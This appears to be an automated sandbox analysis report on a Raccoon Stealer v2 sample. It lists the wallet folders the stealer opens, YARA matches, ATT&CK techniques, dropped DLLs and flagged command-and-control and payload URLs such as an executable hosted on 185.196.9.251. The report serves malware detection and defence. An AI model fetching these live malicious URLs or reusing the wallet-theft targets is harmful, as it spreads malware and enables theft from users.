Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe PID: 5720, type: MEMORYSTR

Remote Access Functionality

Yara detected Raccoon Stealer v2

Source: Yara match	File source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, type: SAMPLE
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.0.SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3418304827.0000000000412000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2172081165.0000000000412000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe PID: 5720, type: MEMORYSTR
Source: Yara match	File source: 00000000.00000003.2246300838.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2248000293.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2186791851.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2246708741.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247833378.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3418647104.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247098180.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247710001.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2248659704.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2208093450.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2244106577.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2245299707.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2216146827.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2248226612.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2260346741.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2261702063.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2246968570.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2244966319.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2246450992.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2261100666.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2244674737.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2186677991.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2230213331.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2207244687.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2223211893.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2243905572.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2251534302.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2248914493.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247464359.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2244408755.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2207869504.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2245104755.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247342460.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2233693050.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2233822452.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2233559298.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2244559080.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2248395447.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247220737.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2247585846.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2246582942.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2246161943.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2246835134.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2186878241.000000000068C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Masquerading	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	3 Data from Local System	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	3 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	23 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	88%	ReversingLabs	Win32.Trojan.Raccoon
SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	69%	Virustotal		Browse
SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	100%	Avira	HEUR/AGEN.1316207
SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\LocalLow\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\nss3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\softokn3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\LocalLow\vcruntime140.dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://www.mozilla.com/en-US/blocklist/	0%	URL Reputation	safe
http://www.mozilla.com/en-US/blocklist/	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030g	100%	Avira URL Cloud	malware
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030%	100%	Avira URL Cloud	malware
http://193.142.147.59:80ommon	0%	Avira URL Cloud	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://193.142.147.59/	100%	Avira URL Cloud	malware
https://duckduckgo.com/chrome_newtab	0%	Virustotal		Browse
http://193.142.147.59/	15%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030t	100%	Avira URL Cloud	malware
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030p	100%	Avira URL Cloud	malware
http://185.196.9.251/autotask/Eflbu.exeP	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
http://193.142.147.59/e4	100%	Avira URL Cloud	malware
http://193.142.147.59/098e00d7c477aadee19feb075a6b50302	100%	Avira URL Cloud	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
http://193.142.147.59/p	100%	Avira URL Cloud	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Virustotal		Browse
http://185.196.9.251/autotask/Eflbu.exe/autotask/Eflbu.exe	100%	Avira URL Cloud	malware
http://193.142.147.59:80/098e00d7c477aadee19feb075a6b5030	100%	Avira URL Cloud	malware
http://185.196.9.251/4L	0%	Avira URL Cloud	safe
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030B	100%	Avira URL Cloud	malware
http://185.196.9.251/autotask/Eflbu.exe	100%	Avira URL Cloud	malware
http://193.142.147.59:80	100%	Avira URL Cloud	malware
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030L	100%	Avira URL Cloud	malware
http://185.196.9.251/top	0%	Avira URL Cloud	safe
http://185.196.9.251/autotask/Eflbu.exer	0%	Avira URL Cloud	safe
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030	100%	Avira URL Cloud	malware
http://185.196.9.251/s	0%	Avira URL Cloud	safe
http://193.142.147.59:80	15%	Virustotal		Browse
https://mozilla.org0	0%	Avira URL Cloud	safe
http://185.196.9.251/	0%	Avira URL Cloud	safe
http://193.142.147.59/R3	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://193.142.147.59/	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.196.9.251/autotask/Eflbu.exe	false	Avira URL Cloud: malware	unknown
http://193.142.147.59:80	true	15%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030g	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000670000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://duckduckgo.com/chrome_newtab	7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030%	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.0.dr	false	URL Reputation: safe URL Reputation: safe	unknown
http://193.142.147.59:80ommon	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000061E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/ac/?q=	7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030p	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	9Vwl42VqIcns.0.dr	false	URL Reputation: safe	unknown
http://185.196.9.251/autotask/Eflbu.exeP	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3420029367.0000000003D8F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030t	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000069F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	9Vwl42VqIcns.0.dr	false	Avira URL Cloud: safe	unknown
http://193.142.147.59/e4	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2207869504.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186677991.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2208093450.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186878241.000000000067C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.142.147.59/098e00d7c477aadee19feb075a6b50302	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://193.142.147.59/p	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246835134.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247464359.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247342460.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233559298.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2207869504.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247220737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186677991.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247710001.000000000067C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.196.9.251/autotask/Eflbu.exe/autotask/Eflbu.exe	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	false	URL Reputation: safe	unknown
http://193.142.147.59:80/098e00d7c477aadee19feb075a6b5030	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.000000000069F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.000000000069F000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260563611.000000000069E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000069E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000069E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260477742.0000000000699000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecosia.org/newtab/	7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	9Vwl42VqIcns.0.dr	false	URL Reputation: safe	unknown
http://185.196.9.251/4L	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3420322713.0000000003E06000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	9Vwl42VqIcns.0.dr	false	URL Reputation: safe	unknown
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030B	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	false	URL Reputation: safe	unknown
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030L	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000069F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://193.142.147.59/098e00d7c477aadee19feb075a6b5030P	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	9Vwl42VqIcns.0.dr	false	URL Reputation: safe	unknown
http://185.196.9.251/top	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	7DeRL7M12c61.0.dr, Uj90a2oBVp9S.0.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	9Vwl42VqIcns.0.dr	false	URL Reputation: safe	unknown
http://185.196.9.251/autotask/Eflbu.exer	SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
